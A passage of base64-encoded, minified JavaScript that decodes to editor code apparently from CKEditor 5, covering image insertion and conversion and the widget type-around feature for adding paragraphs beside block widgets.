cm4hIXQmJnQuaXMoImVsZW1lbnQiLCJpbWFnZSIpfWZ1bmN0aW9uIG12KHQsZT17fSxuPW51bGwpe3QuY2hhbmdlKChpPT57Y29uc3Qgbz1pLmNyZWF0ZUVsZW1lbnQoImltYWdlIixlKTtjb25zdCByPW58fHJ2KHQuZG9jdW1lbnQuc2VsZWN0aW9uLHQpO3QuaW5zZXJ0Q29udGVudChvLHIpO2lmKG8ucGFyZW50KXtpLnNldFNlbGVjdGlvbihvLCJvbiIpfX0pKX1mdW5jdGlvbiBndih0KXtjb25zdCBlPXQuc2NoZW1hO2NvbnN0IG49dC5kb2N1bWVudC5zZWxlY3Rpb247cmV0dXJuIGt2KG4sZSx0KSYmIWJ2KG4sZSkmJnd2KG4pfWZ1bmN0aW9uIHB2KHQpe2NvbnN0IGU9W107Zm9yKGNvbnN0IG4gb2YgdC5nZXRDaGlsZHJlbigpKXtlLnB1c2gobik7aWYobi5pcygiZWxlbWVudCIpKXtlLnB1c2goLi4ubi5nZXRDaGlsZHJlbigpKX19cmV0dXJuIGUuZmluZCgodD0+dC5pcygiZWxlbWVudCIsImltZyIpKSl9ZnVuY3Rpb24ga3YodCxlLG4pe2NvbnN0IGk9Q3YodCxuKTtyZXR1cm4gZS5jaGVja0NoaWxkKGksImltYWdlIil9ZnVuY3Rpb24gYnYodCxlKXtjb25zdCBuPXQuZ2V0U2VsZWN0ZWRFbGVtZW50KCk7cmV0dXJuIG4mJmUuaXNPYmplY3Qobil9ZnVuY3Rpb24gd3YodCl7cmV0dXJuWy4uLnQuZm9jdXMuZ2V0QW5jZXN0b3JzKCldLmV2ZXJ5KCh0PT4hdC5pcygiZWxlbWVudCIsImltYWdlIikpKX1mdW5jdGlvbiBDdih0LGUpe2NvbnN0IG49cnYodCxlKTtjb25zdCBpPW4ucGFyZW50O2lmKGkuaXNFbXB0eSYmIWkuaXMoImVsZW1lbnQiLCIkcm9vdCIpKXtyZXR1cm4gaS5wYXJlbnR9cmV0dXJuIGl9ZnVuY3Rpb24gQXYoKXtyZXR1cm4gZT0+e2Uub24oImVsZW1lbnQ6ZmlndXJlIix0KX07ZnVuY3Rpb24gdCh0LGUsbil7aWYoIW4uY29uc3VtYWJsZS50ZXN0KGUudmlld0l0ZW0se25hbWU6dHJ1ZSxjbGFzc2VzOiJpbWFnZSJ9KSl7cmV0dXJufWNvbnN0IGk9cHYoZS52aWV3SXRlbSk7aWYoIWl8fCFpLmhhc0F0dHJpYnV0ZSgic3JjIil8fCFuLmNvbnN1bWFibGUudGVzdChpLHtuYW1lOnRydWV9KSl7cmV0dXJufWNvbnN0IG89bi5jb252ZXJ0SXRlbShpLGUubW9kZWxDdXJzb3IpO2NvbnN0IHI9c0Moby5tb2RlbFJhbmdlLmdldEl0ZW1zKCkpO2lmKCFyKXtyZXR1cm59bi5jb252ZXJ0Q2hpbGRyZW4oZS52aWV3SXRlbSxyKTtuLnVwZGF0ZUNvbnZlcnNpb25SZXN1bHQocixlKX19ZnVuY3Rpb24gX3YoKXtyZXR1cm4gZT0+e2Uub24oImF0dHJpYnV0ZTpzcmNzZXQ6aW1hZ2UiLHQpfTtmdW5jdGlvbiB0KHQsZSxuKXtpZighbi5jb25zdW1hYmxlLmNvbnN1bWUoZS5pdGVtLHQubmFtZSkpe3JldHVybn1jb25zdCBpPW4ud3JpdGVyO2NvbnN0IG89bi5tYXBwZXIudG9WaWV3RWxlbWVudChlLml0ZW0pO2NvbnN0IHI9cHYobyk7aWYoZS5hdHRyaWJ1dGVOZXdWYWx1ZT09PW51bGwpe2NvbnN0IHQ9ZS5hdHRyaWJ1dGVPbGRWYWx1ZTtpZih0LmRhdGEpe2kucmVtb3ZlQXR0cmlidXRlKCJzcmNzZXQiLHIpO2kucmVtb3ZlQXR0cmlidXRlKCJzaXplcyIscik7aWYodC53aWR0aCl7aS5yZW1vdmVBdHRyaWJ1dGUoIndpZHRoIixyKX19fWVsc2V7Y29uc3QgdD1lLmF0dHJpYnV0ZU5ld1ZhbHVlO2lmKHQuZGF0YSl7aS5zZXRBdHRyaWJ1dGUoInNyY3NldCIsdC5kYXRhLHIpO2kuc2V0QXR0cmlidXRlKCJzaXplcyIsIjEwMHZ3IixyKTtpZih0LndpZHRoKXtpLnNldEF0dHJpYnV0ZSgid2lkdGgiLHQud2lkdGgscil9fX19fWZ1bmN0aW9uIHZ2KHQpe3JldHVybiBuPT57bi5vbihgYXR0cmlidXRlOiR7dH06aW1hZ2VgLGUpfTtmdW5jdGlvbiBlKHQsZSxuKXtpZighbi5jb25zdW1hYmxlLmNvbnN1bWUoZS5pdGVtLHQubmFtZSkpe3JldHVybn1jb25zdCBpPW4ud3JpdGVyO2NvbnN0IG89bi5tYXBwZXIudG9WaWV3RWxlbWVudChlLml0ZW0pO2NvbnN0IHI9cHYobyk7aS5zZXRBdHRyaWJ1dGUoZS5hdHRyaWJ1dGVLZXksZS5hdHRyaWJ1dGVOZXdWYWx1ZXx8IiIscil9fWNsYXNzIHl2IGV4dGVuZHMgb0N7cmVmcmVzaCgpe3RoaXMuaXNFbmFibGVkPWd2KHRoaXMuZWRpdG9yLm1vZGVsKX1leGVjdXRlKHQpe2NvbnN0IGU9dGhpcy5lZGl0b3IubW9kZWw7Zm9yKGNvbnN0IG4gb2YgeHModC5zb3VyY2UpKXttdihlLHtzcmM6bn0pfX19Y2xhc3MgeHYgZXh0ZW5kcyBuQ3tzdGF0aWMgZ2V0IHBsdWdpbk5hbWUoKXtyZXR1cm4iSW1hZ2VFZGl0aW5nIn1pbml0KCl7Y29uc3QgdD10aGlzLmVkaXRvcjtjb25zdCBlPXQubW9kZWwuc2NoZW1hO2NvbnN0IG49dC50O2NvbnN0IGk9dC5jb252ZXJzaW9uO3QuZWRpdGluZy52aWV3LmFkZE9ic2VydmVyKFNfKTtlLnJlZ2lzdGVyKCJpbWFnZSIse2lzT2JqZWN0OnRydWUsaXNCbG9jazp0cnVlLGFsbG93V2hlcmU6IiRibG9jayIsYWxsb3dBdHRyaWJ1dGVzOlsiYWx0Iiwic3JjIiwic3Jjc2V0Il19KTtpLmZvcigiZGF0YURvd25jYXN0IikuZWxlbWVudFRvRWxlbWVudCh7bW9kZWw6ImltYWdlIix2aWV3Oih0LHt3cml0ZXI6ZX0pPT5EdihlKX0pO2kuZm9yKCJlZGl0aW5nRG93bmNhc3QiKS5lbGVtZW50VG9FbGVtZW50KHttb2RlbDoiaW1hZ2UiLHZpZXc6KHQse3dyaXRlcjplfSk9PmR2KER2KGUpLGUsbigiaW1hZ2Ugd2lkZ2V0IikpfSk7aS5mb3IoImRvd25jYXN0IikuYWRkKHZ2KCJzcmMiKSkuYWRkKHZ2KCJhbHQiKSkuYWRkKF92KCkpO2kuZm9yKCJ1cGNhc3QiKS5lbGVtZW50VG9FbGVtZW50KHt2aWV3OntuYW1lOiJpbWciLGF0dHJpYnV0ZXM6e3NyYzp0cnVlfX0sbW9kZWw6KHQse3dyaXRlcjplfSk9PmUuY3JlYXRlRWxlbWVudCgiaW1hZ2UiLHtzcmM6dC5nZXRBdHRyaWJ1dGUoInNyYyIpfSl9KS5hdHRyaWJ1dGVUb0F0dHJpYnV0ZSh7dmlldzp7bmFtZToiaW1nIixrZXk6ImFsdCJ9LG1vZGVsOiJhbHQifSkuYXR0cmlidXRlVG9BdHRyaWJ1dGUoe3ZpZXc6e25hbWU6ImltZyIsa2V5OiJzcmNzZXQifSxtb2RlbDp7a2V5OiJzcmNzZXQiLHZhbHVlOnQ9Pntjb25zdCBlPXtkYXRhOnQuZ2V0QXR0cmlidXRlKCJzcmNzZXQiKX07aWYodC5oYXNBdHRyaWJ1dGUoIndpZHRoIikpe2Uud2lkdGg9dC5nZXRBdHRyaWJ1dGUoIndpZHRoIil9cmV0dXJuIGV9fX0pLmFkZChBdigpKTt0LmNvbW1hbmRzLmFkZCgiaW1hZ2VJbnNlcnQiLG5ldyB5dih0KSl9fWZ1bmN0aW9uIER2KHQpe2NvbnN0IGU9dC5jcmVhdGVFbXB0eUVsZW1lbnQoImltZyIpO2NvbnN0IG49dC5jcmVhdGVDb250YWluZXJFbGVtZW50KCJmaWd1cmUiLHtjbGFzczoiaW1hZ2UifSk7dC5pbnNlcnQodC5jcmVhdGVQb3NpdGlvbkF0KG4sMCksZSk7cmV0dXJuIG59Y2xhc3MgRXYgZXh0ZW5kcyBuaHtjb25zdHJ1Y3Rvcih0KXtzdXBlcih0KTt0aGlzLmRvbUV2ZW50VHlwZT0ibW91c2Vkb3duIn1vbkRvbUV2ZW50KHQpe3RoaXMuZmlyZSh0LnR5cGUsdCl9fXZhciBNdj0nPHN2ZyB2aWV3Qm94PSIwIDAgMTAgOCIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cGF0aCBkPSJNOS4wNTUuMjYzdjMuOTcyaC02Ljc3TTEgNC4yMTZsMi0yLjAzOG0tMiAybDIgMi4wMzgiLz48L3N2Zz4nO3ZhciBTdj1uKDMwKTt2YXIgVHY9e2luamVjdFR5cGU6InNpbmdsZXRvblN0eWxlVGFnIixhdHRyaWJ1dGVzOnsiZGF0YS1ja2UiOnRydWV9fTtUdi5pbnNlcnQ9ImhlYWQiO1R2LnNpbmdsZXRvbj10cnVlO3ZhciBJdj1yaygpKFN2WyJhIl0sVHYpO3ZhciBOdj1TdlsiYSJdLmxvY2Fsc3x8e307Y29uc3QgQnY9WyJiZWZvcmUiLCJhZnRlciJdO2NvbnN0IFB2PShuZXcgRE9NUGFyc2VyKS5wYXJzZUZyb21TdHJpbmcoTXYsImltYWdlL3N2Zyt4bWwiKS5maXJzdENoaWxkO2NvbnN0IHp2PSJjay13aWRnZXRfX3R5cGUtYXJvdW5kX2Rpc2FibGVkIjtjbGFzcyBMdiBleHRlbmRzIG5De3N0YXRpYyBnZXQgcGx1Z2luTmFtZSgpe3JldHVybiJXaWRnZXRUeXBlQXJvdW5kIn1jb25zdHJ1Y3Rvcih0KXtzdXBlcih0KTt0aGlzLl9jdXJyZW50RmFrZUNhcmV0TW9kZWxFbGVtZW50PW51bGx9aW5pdCgpe2NvbnN0IHQ9dGhpcy5lZGl0b3I7Y29uc3QgZT10LmVkaXRpbmcudmlldzt0aGlzLm9uKCJjaGFuZ2U6aXNFbmFibGVkIiwoKG4saSxvKT0+e2UuY2hhbmdlKCh0PT57Zm9yKGNvbnN0IG4gb2YgZS5kb2N1bWVudC5yb290cyl7aWYobyl7dC5yZW1vdmVDbGFzcyh6dixuKX1lbHNle3QuYWRkQ2xhc3MoenYsbil9fX0pKTtpZighbyl7dC5tb2RlbC5jaGFuZ2UoKHQ9Pnt0LnJlbW92ZVNlbGVjdGlvbkF0dHJpYnV0ZShXXyl9KSl9fSkpO3RoaXMuX2VuYWJsZVR5cGVBcm91bmRVSUluamVjdGlvbigpO3RoaXMuX2VuYWJsZUluc2VydGluZ1BhcmFncmFwaHNPbkJ1dHRvbkNsaWNrKCk7dGhpcy5fZW5hYmxlSW5zZXJ0aW5nUGFyYWdyYXBoc09uRW50ZXJLZXlwcmVzcygpO3RoaXMuX2VuYWJsZUluc2VydGluZ1BhcmFncmFwaHNPblR5cGluZ0tleXN0cm9rZSgpO3RoaXMuX2VuYWJsZVR5cGVBcm91bmRGYWtlQ2FyZXRBY3RpdmF0aW9uVXNpbmdLZXlib2FyZEFycm93cygpO3RoaXMuX2VuYWJsZURlbGV0ZUludGVncmF0aW9uKCk7dGhpcy5fZW5hYmxlSW5zZXJ0Q29udGVudEludGVncmF0aW9uKCl9ZGVzdHJveSgpe3RoaXMuX2N1cnJlbnRGYWtlQ2FyZXRNb2RlbEVsZW1lbnQ9bnVsbH1faW5zZXJ0UGFyYWdyYXBoKHQsZSl7Y29uc3Qgbj10aGlzLmVkaXRvcjtjb25zdCBpPW4uZWRpdGluZy52aWV3O24uZXhlY3V0ZSgiaW5zZXJ0UGFyYWdyYXBoIix7cG9zaXRpb246bi5tb2RlbC5jcmVhdGVQb3NpdGlvbkF0KHQsZSl9KTtpLmZvY3VzKCk7aS5zY3JvbGxUb1RoZVNlbGVjdGlvbigpfV9saXN0ZW5Ub0lmRW5hYmxlZCh0LGUsbixpKXt0aGlzLmxpc3RlblRvKHQsZSwoKC4uLnQpPT57aWYodGhpcy5pc0VuYWJsZWQpe24oLi4udCl9fSksaSl9X2luc2VydFBhcmFncmFwaEFjY29yZGluZ1RvRmFrZUNhcmV0UG9zaXRpb24oKXtjb25zdCB0PXRoaXMuZWRpdG9yO2NvbnN0IGU9dC5tb2RlbDtjb25zdCBuPWUuZG9jdW1lbnQuc2VsZWN0aW9uO2NvbnN0IGk9JF8obik7aWYoIWkpe3JldHVybiBmYWxzZX1jb25zdCBvPW4uZ2V0U2VsZWN0ZWRFbGVtZW50KCk7dGhpcy5faW5zZXJ0UGFyYWdyYXBoKG8saSk7cmV0dXJuIHRydWV9X2VuYWJsZVR5cGVBcm91bmRVSUluamVjdGlvbigpe2NvbnN0IHQ9dGhpcy5lZGl0b3I7Y29uc3QgZT10Lm1vZGVsLnNjaGVtYTtjb25zdCBuPXQubG9jYWxlLnQ7Y29uc3QgaT17YmVmb3JlOm4oIkluc2VydCBwYXJhZ3JhcGggYmVmb3JlIGJsb2NrIiksYWZ0ZXI6bigiSW5zZXJ0IHBhcmFncmFwaCBhZnRlciBibG9jayIpfTt0LmVkaXRpbmcuZG93bmNhc3REaXNwYXRjaGVyLm9uKCJpbnNlcnQiLCgodCxuLG8pPT57Y29uc3Qgcj1vLm1hcHBlci50b1ZpZXdFbGVtZW50KG4uaXRlbSk7aWYoS18ocixuLml0ZW0sZSkpe092KG8ud3JpdGVyLGkscil9fSkse3ByaW9yaXR5OiJsb3cifSl9X2VuYWJsZVR5cGVBcm91bmRGYWtlQ2FyZXRBY3RpdmF0aW9uVXNpbmdLZXlib2FyZEFycm93cygpe2NvbnN0IHQ9dGhpcy5lZGl0b3I7Y29uc3QgZT10Lm1vZGVsO2NvbnN0IG49ZS5kb2N1bWVudC5zZWxlY3Rpb247Y29uc3QgaT1lLnNjaGVtYTtjb25zdCBvPXQuZWRpdGluZy52aWV3O3RoaXMuX2xpc3RlblRvSWZFbmFibGVkKG8uZG9jdW1lbnQsImtleWRvd24iLCgodCxlKT0+e2lmKEZsKGUua2V5Q29kZSkpe3RoaXMuX2hhbmRsZUFycm93S2V5UHJlc3ModCxlKX19KSx7cHJpb3JpdHk6b3MuZ2V0KCJoaWdoIikrMTB9KTt0aGlzLl9saXN0ZW5Ub0lmRW5hYmxlZChuLCJjaGFuZ2U6cmFuZ2UiLCgoZSxuKT0+e2lmKCFuLmRpcmVjdENoYW5nZSl7cmV0dXJufXQubW9kZWwuY2hhbmdlKCh0PT57dC5yZW1vdmVTZWxlY3Rpb25BdHRyaWJ1dGUoV18pfSkpfSkpO3RoaXMuX2xpc3RlblRvSWZFbmFibGVkKGUuZG9jdW1lbnQsImNoYW5nZTpkYXRhIiwoKCk9Pntjb25zdCBlPW4uZ2V0U2VsZWN0ZWRFbGVtZW50KCk7aWYoZSl7Y29uc3Qgbj10LmVkaXRpbmcubWFwcGVyLnRvVmlld0VsZW1lbnQoZSk7aWYoS18obixlLGkpKXtyZXR1cm59fXQubW9kZWwuY2hhbmdlKCh0PT57dC5yZW1vdmVTZWxlY3Rpb25BdHRyaWJ1dGUoV18pfSkpfSkpO3RoaXMuX2xpc3RlblRvSWZFbmFibGVkKHQuZWRpdGluZy5kb3duY2FzdERpc3BhdGNoZXIsInNlbGVjdGlvbiIsKCh0LGUsbik9Pntjb25zdCBvPW4ud3JpdGVyO2lmKHRoaXMuX2N1cnJlbnRGYWtlQ2FyZXRNb2RlbEVsZW1lbnQpe2NvbnN0IHQ9bi5tYXBwZXIudG9WaWV3RWxlbWVudCh0aGlzLl9jdXJyZW50RmFrZUNhcmV0TW9kZWxFbGVtZW50KTtpZih0KXtvLnJlbW92ZUNsYXNzKEJ2Lm1hcChyKSx0KTt0aGlzLl9jdXJyZW50RmFrZUNhcmV0TW9kZWxFbGVtZW50PW51bGx9fWNvbnN0IHM9ZS5zZWxlY3Rpb24uZ2V0U2VsZWN0ZWRFbGVtZW50KCk7aWYoIXMpe3JldHVybn1jb25zdCBhPW4ubWFwcGVyLnRvVmlld0VsZW1lbnQocyk7aWYoIUtfKGEscyxpKSl7cmV0dXJufWNvbnN0IGM9JF8oZS5zZWxlY3Rpb24pO2lmKCFjKXtyZXR1cm59by5hZGRDbGFzcyhyKGMpLGEpO3RoaXMuX2N1cnJlbnRGYWtlQ2FyZXRNb2RlbEVsZW1lbnQ9c30pKTt0aGlzLl9saXN0ZW5Ub0lmRW5hYmxlZCh0LnVpLmZvY3VzVHJhY2tlciwiY2hhbmdlOmlzRm9jdXNlZCIsKChlLG4saSk9PntpZighaSl7dC5tb2RlbC5jaGFuZ2UoKHQ9Pnt0LnJlbW92ZVNlbGVjdGlvbkF0dHJpYnV0ZShXXyl9KSl9fSkpO2Z1bmN0aW9uIHIodCl7cmV0dXJuYGNrLXdpZGdldF90eXBlLWFyb3VuZF9zaG93LWZha2UtY2FyZXRfJHt0fWB9fV9oYW5kbGVBcnJvd0tleVByZXNzKHQsZSl7Y29uc3Qgbj10aGlzLmVkaXRvcjtjb25zdCBpPW4ubW9kZWw7Y29uc3Qgbz1pLmRvY3VtZW50LnNlbGVjdGlvbjtjb25zdCByPWkuc2NoZW1hO2NvbnN0IHM9bi5lZGl0aW5nLnZpZXc7Y29uc3QgYT1lLmtleUNvZGU7Y29uc3QgYz1VbChhLG4ubG9jYWxlLmNvbnRlbnRMYW5ndWFnZURpcmVjdGlvbik7Y29uc3QgbD1zLmRvY3VtZW50LnNlbGVjdGlvbi5nZXRTZWxlY3RlZEVsZW1lbnQoKTtjb25zdCBkPW4uZWRpdGluZy5tYXBwZXIudG9Nb2RlbEVsZW1lbnQobCk7bGV0IHU7aWYoS18obCxkLHIpKXt1PXRoaXMuX2hhbmRsZUFycm93S2V5UHJlc3NPblNlbGVjdGVkV2lkZ2V0KGMpfWVsc2UgaWYoby5pc0NvbGxhcHNlZCl7dT10aGlzLl9oYW5kbGVBcnJvd0tleVByZXNzV2hlblNlbGVjdGlvbk5leHRUb0FXaWRnZXQoYyl9aWYodSl7ZS5wcmV2ZW50RGVmYXVsdCgpO3Quc3RvcCgpfX1faGFuZGxlQXJyb3dLZXlQcmVzc09uU2VsZWN0ZWRXaWRnZXQodCl7Y29uc3QgZT10aGlzLmVkaXRvcjtjb25zdCBuPWUubW9kZWw7Y29uc3QgaT1uLmRvY3VtZW50LnNlbGVjdGlvbjtjb25zdCBvPSRfKGkpO3JldHVybiBuLmNoYW5nZSgoZT0+e2lmKG8pe2NvbnN0IG49bz09PSh0PyJhZnRlciI6ImJlZm9yZSIpO2lmKCFuKXtlLnJlbW92ZVNlbGVjdGlvbkF0dHJpYnV0ZShXXyk7cmV0dXJuIHRydWV9fWVsc2V7ZS5zZXRTZWxlY3Rpb25BdHRyaWJ1dGUoV18sdD8iYWZ0ZXIiOiJiZWZvcmUiKTtyZXR1cm4gdHJ1ZX1yZXR1cm4gZmFsc2V9KSl9X2hhbmRsZUFycm93S2V5UHJlc3NXaGVuU2VsZWN0aW9uTmV4dFRvQVdpZGdldCh0KXtjb25zdCBlPXRoaXMuZWRpdG9yO2NvbnN0IG49ZS5tb2RlbDtjb25zdCBpPW4uc2NoZW1hO2NvbnN0IG89ZS5wbHVnaW5zLmdldCgiV2lkZ2V0Iik7Y29uc3Qgcj1vLl9nZXRPYmplY3RFbGVtZW50TmV4dFRvU2VsZWN0aW9uKHQpO2NvbnN0IHM9ZS5lZGl0aW5nLm1hcHBlci50b1ZpZXdFbGVtZW50KHIpO2lmKEtfKHMscixpKSl7bi5jaGFuZ2UoKGU9PntvLl9zZXRTZWxlY3Rpb25PdmVyRWxlbWVudChyKTtlLnNldFNlbGVjdGlvbkF0dHJpYnV0ZShXXyx0PyJiZWZvcmUiOiJhZnRlciIpfSkpO3JldHVybiB0cnVlfXJldHVybiBmYWxzZX1fZW5hYmxlSW5zZXJ0aW5nUGFyYWdyYXBoc09uQnV0dG9uQ2xpY2soKXtjb25zdCB0PXRoaXMuZWRpdG9yO2NvbnN0IGU9dC5lZGl0aW5nLnZpZXc7dGhpcy5fbGlzdGVuVG9JZkVuYWJsZWQoZS5kb2N1bWVudCwibW91c2Vkb3duIiwoKG4saSk9Pntjb25zdCBvPXFfKGkuZG9tVGFyZ2V0KTtpZighbyl7cmV0dXJufWNvbnN0IHI9WV8obyk7Y29uc3Qgcz1RXyhvLGUuZG9tQ29udmVydGVyKTtjb25zdCBhPXQuZWRpdGluZy5tYXBwZXIudG9Nb2RlbEVsZW1lbnQocyk7dGhpcy5faW5zZXJ0UGFyYWdyYXBoKGEscik7aS5wcmV2ZW50RGVmYXVsdCgpO24uc3RvcCgpfSkpfV9lbmFibGVJbnNlcnRpbmdQYXJhZ3JhcGhzT25FbnRlcktleXByZXNzKCl7Y29uc3QgdD10aGlzLmVkaXRvcjtjb25zdCBlPXQuZWRpdGluZy52aWV3O3RoaXMuX2xpc3RlblRvSWZFbmFibGVkKGUuZG9jdW1lbnQsImVudGVyIiwoKG4saSk9Pntjb25zdCBvPWUuZG9jdW1lbnQuc2VsZWN0aW9uLmdldFNlbGVjdGVkRWxlbWVudCgpO2NvbnN0IHI9dC5lZGl0aW5nLm1hcHBlci50b01vZGVsRWxlbWVudChvKTtjb25zdCBzPXQubW9kZWwuc2NoZW1hO2xldCBhO2lmKHRoaXMuX2luc2VydFBhcmFncmFwaEFjY29yZGluZ1RvRmFrZUNhcmV0UG9zaXRpb24oKSl7YT10cnVlfWVsc2UgaWYoS18obyxyLHMpKXt0aGlzLl9pbnNlcnRQYXJhZ3JhcGgocixpLmlzU29mdD8iYmVmb3JlIjoiYWZ0ZXIiKTthPXRydWV9aWYoYSl7aS5wcmV2ZW50RGVmYXVsdCgpO24uc3RvcCgpfX0pKX1fZW5hYmxlSW5zZXJ0aW5nUGFyYWdyYXBoc09uVHlwaW5nS2V5c3Ryb2tlKCl7Y29uc3QgdD10aGlzLmVkaXRvcjtjb25zdCBlPXQuZWRpdGluZy52aWV3O2NvbnN0IG49W0xsLmVudGVyLExsLmRlbGV0ZSxMbC5iYWNrc3BhY2VdO3RoaXMuX2xpc3RlblRvSWZFbmFibGVkKGUuZG9jdW1lbnQsImtleWRvd24iLCgodCxlKT0+e2lmKCFuLmluY2x1ZGVzKGUua2V5Q29kZSkmJiFNQShlKSl7dGhpcy5faW5zZXJ0UGFyYWdyYXBoQWNjb3JkaW5nVG9GYWtlQ2FyZXRQb3NpdGlvbigpfX0pLHtwcmlvcml0eTpvcy5nZXQoImhpZ2giKSsxfSl9X2VuYWJsZURlbGV0ZUludGVncmF0aW9uKCl7Y29uc3QgdD10aGlzLmVkaXRvcjtjb25zdCBlPXQuZWRpdGluZy52aWV3O2NvbnN0IG49dC5tb2RlbDtjb25zdCBpPW4uc2NoZW1hO3RoaXMuX2xpc3RlblRvSWZFbmFibGVkKGUuZG9jdW1lbnQsImRlbGV0ZSIsKChlLG8pPT57Y29uc3Qgcj0kXyhuLmRvY3VtZW50LnNlbGVjdGlvbik7aWYoIXIpe3JldHVybn1jb25zdCBzPW8uZGlyZWN0aW9uO2NvbnN0IGE9bi5kb2N1bWVudC5zZWxlY3Rpb24uZ2V0U2VsZWN0ZWRFbGVtZW50KCk7Y29uc3QgYz1yPT09ImJlZm9yZSI7Y29uc3QgbD1zPT0iZm9yd2FyZCI7Y29uc3QgZD1jPT09bDtpZihkKXt0LmV4ZWN1dGUoImRlbGV0ZSIse3NlbGVjdGlvbjpuLmNyZWF0ZVNlbGVjdGlvbihhLCJvbiIpfSl9ZWxzZXtjb25zdCBlPWkuZ2V0TmVhcmVzdFNlbGVjdGlvblJhbmdlKG4uY3JlYXRlUG9zaXRpb25BdChhLHIpLHMpO2lmKGUpe2lmKCFlLmlzQ29sbGFwc2VkKXtuLmNoYW5nZSgobj0+e24uc2V0U2VsZWN0aW9uKGUpO3QuZXhlY3V0ZShsPyJmb3J3YXJkRGVsZXRlIjoiZGVsZXRlIil9KSl9ZWxzZXtjb25zdCBvPW4uY3JlYXRlU2VsZWN0aW9uKGUuc3RhcnQpO24ubW9kaWZ5U2VsZWN0aW9uKG8se2RpcmVjdGlvbjpzfSk7aWYoIW8uZm9jdXMuaXNFcXVhbChlLnN0YXJ0KSl7bi5jaGFuZ2UoKG49PntuLnNldFNlbGVjdGlvbihlKTt0LmV4ZWN1dGUobD8iZm9yd2FyZERlbGV0ZSI6ImRlbGV0ZSIpfSkpfWVsc2V7Y29uc3QgdD1GdihpLGUuc3RhcnQucGFyZW50KTtuLmRlbGV0ZUNvbnRlbnQobi5jcmVhdGVTZWxlY3Rpb24odCwib24iKSx7ZG9Ob3RBdXRvcGFyYWdyYXBoOnRydWV9KX19fX1vLnByZXZlbnREZWZhdWx0KCk7ZS5zdG9wKCl9KSx7cHJpb3JpdHk6b3MuZ2V0KCJoaWdoIikrMX0pfV9lbmFibGVJbnNlcnRDb250ZW50SW50ZWdyYXRpb24oKXtjb25zdCB0PXRoaXMuZWRpdG9yO2NvbnN0IGU9dGhpcy5lZGl0b3IubW9kZWw7Y29uc3Qgbj1lLmRvY3VtZW50LnNlbGVjdGlvbjt0aGlzLl9saXN0ZW5Ub0lmRW5hYmxlZCh0Lm1vZGVsLCJpbnNlcnRDb250ZW50IiwoKHQsW2ksb10pPT57aWYobyYmIW8uaXMoImRvY3VtZW50U2VsZWN0aW9uIikpe3JldHVybn1jb25zdCByPSRfKG4pO2lmKCFyKXtyZXR1cm59dC5zdG9wKCk7cmV0dXJuIGUuY2hhbmdlKCh0PT57Y29uc3Qgbz1uLmdldFNlbGVjdGVkRWxlbWVudCgpO2NvbnN0IHM9ZS5jcmVhdGVQb3NpdGlvbkF0KG8scik7Y29uc3QgYT10LmNyZWF0ZVNlbGVjdGlvbihzKTtjb25zdCBjPWUuaW5zZXJ0Q29udGVudChpLGEpO3Quc2V0U2VsZWN0aW9uKGEpO3JldHVybiBjfSkpfSkse3ByaW9yaXR5OiJoaWdoIn0pfX1mdW5jdGlvbiBPdih0LGUsbil7Y29uc3QgaT10LmNyZWF0ZVVJRWxlbWVudCgiZGl2Iix7Y2xhc3M6ImNrIGNrLXJlc2V0X2FsbCBjay13aWRnZXRfX3R5cGUtYXJvdW5kIn0sKGZ1bmN0aW9uKHQpe2NvbnN0IG49dGhpcy50b0RvbUVsZW1lbnQodCk7UnYobixlKTtqdihuKTtyZXR1cm4gbn0pKTt0Lmluc2VydCh0LmNyZWF0ZVBvc2l0aW9uQXQobiwiZW5kIiksaSl9ZnVuY3Rpb24gUnYodCxlKXtmb3IoY29uc3QgbiBvZiBCdil7Y29uc3QgaT1uZXcgeWsoe3RhZzoiZGl2IixhdHRyaWJ1dGVzOntjbGFzczpbImNrIiwiY2std2lkZ2V0X190eXBlLWFyb3VuZF9fYnV0dG9uIixgY2std2lkZ2V0X190eXBlLWFyb3VuZF9fYnV0dG9uXyR7bn1gXSx0aXRsZTplW25dfSxjaGlsZHJlbjpbdC5vd25lckRvY3VtZW50LmltcG9ydE5vZGUoUHYsdHJ1ZSldfSk7dC5hcHBlbmRDaGlsZChpLnJlbmRlcigpKX19ZnVuY3Rpb24ganYodCl7Y29uc3QgZT1uZXcgeWsoe3RhZzoiZGl2IixhdHRyaWJ1dGVzOntjbGFzczpbImNrIiwiY2std2lkZ2V0X190eXBlLWFyb3VuZF9fZmFrZS1jYXJldCJdfX0pO3QuYXBwZW5kQ2hpbGQoZS5yZW5kZXIoKSl9ZnVuY3Rpb24gRnYodCxlKXtsZXQgbj1lO2Zvcihjb25zdCBpIG9mIGUuZ2V0QW5jZXN0b3JzKHtwYXJlbnRGaXJzdDp0cnVlfSkpe2lmKGkuY2hpbGRDb3VudD4xfHx0LmlzTGltaXQoaSkpe2JyZWFrfW49aX1yZXR1cm4gbn12YXIgVnY9bigzMSk7dmFyIFV2PXtpbmplY3RUeXBlOiJzaW5nbGV0b25TdHlsZVRhZyIsYXR0cmlidXRlczp7ImRhdGEtY2tlIjp0cnVlfX07VXYuaW5zZXJ0PSJoZWFkIjtVdi5zaW5nbGV0b249dHJ1ZTt2YXIgSHY9cmsoKShWdlsiYSJdLFV2KTt2YXIgR3Y9VnZbImEiXS5sb2NhbHN8fHt9O2Z1bmN0aW9uIFd2KHQpe2NvbnN0IGU9dC5tb2RlbDtyZXR1cm4obixpKT0+e2NvbnN0IG89aS5rZXlDb2RlPT1MbC5hcnJvd3VwO2NvbnN0IHI9aS5rZXlDb2RlPT1MbC5hcnJvd2Rvd247Y29uc3Qgcz1pLnNoaWZ0S2V5O2NvbnN0IGE9ZS5kb2N1bWVudC5zZWxlY3Rpb247aWYoIW8mJiFyKXtyZXR1cm59Y29uc3QgYz1yO2lmKHMmJiR2KGEsYykpe3JldHVybn1jb25zdCBsPUt2KHQsYSxjKTtpZighbHx8bC5pc0NvbGxhcHNlZCl7cmV0dXJufWlmKFF2KHQsbCxjKSl7ZS5jaGFuZ2UoKHQ9Pntjb25zdCBuPWM/bC5lbmQ6bC5zdGFydDtpZihzKXtjb25zdCBpPWUuY3JlYXRlU2VsZWN0aW9uKGEuYW5jaG9yKTtpLnNldEZvY3VzKG4pO3Quc2V0U2VsZWN0aW9uKGkpfWVsc2V7dC5zZXRTZWxlY3Rpb24obil9fSkpO24uc3RvcCgpO2kucHJldmVudERlZmF1bHQoKTtpLnN0b3BQcm9wYWdhdGlvbigpfX19ZnVuY3Rpb24gS3YodCxlLG4pe2NvbnN0IGk9dC5tb2RlbDtpZihuKXtjb25zdCB0PWUuaXNDb2xsYXBzZWQ/ZS5mb2N1czplLmd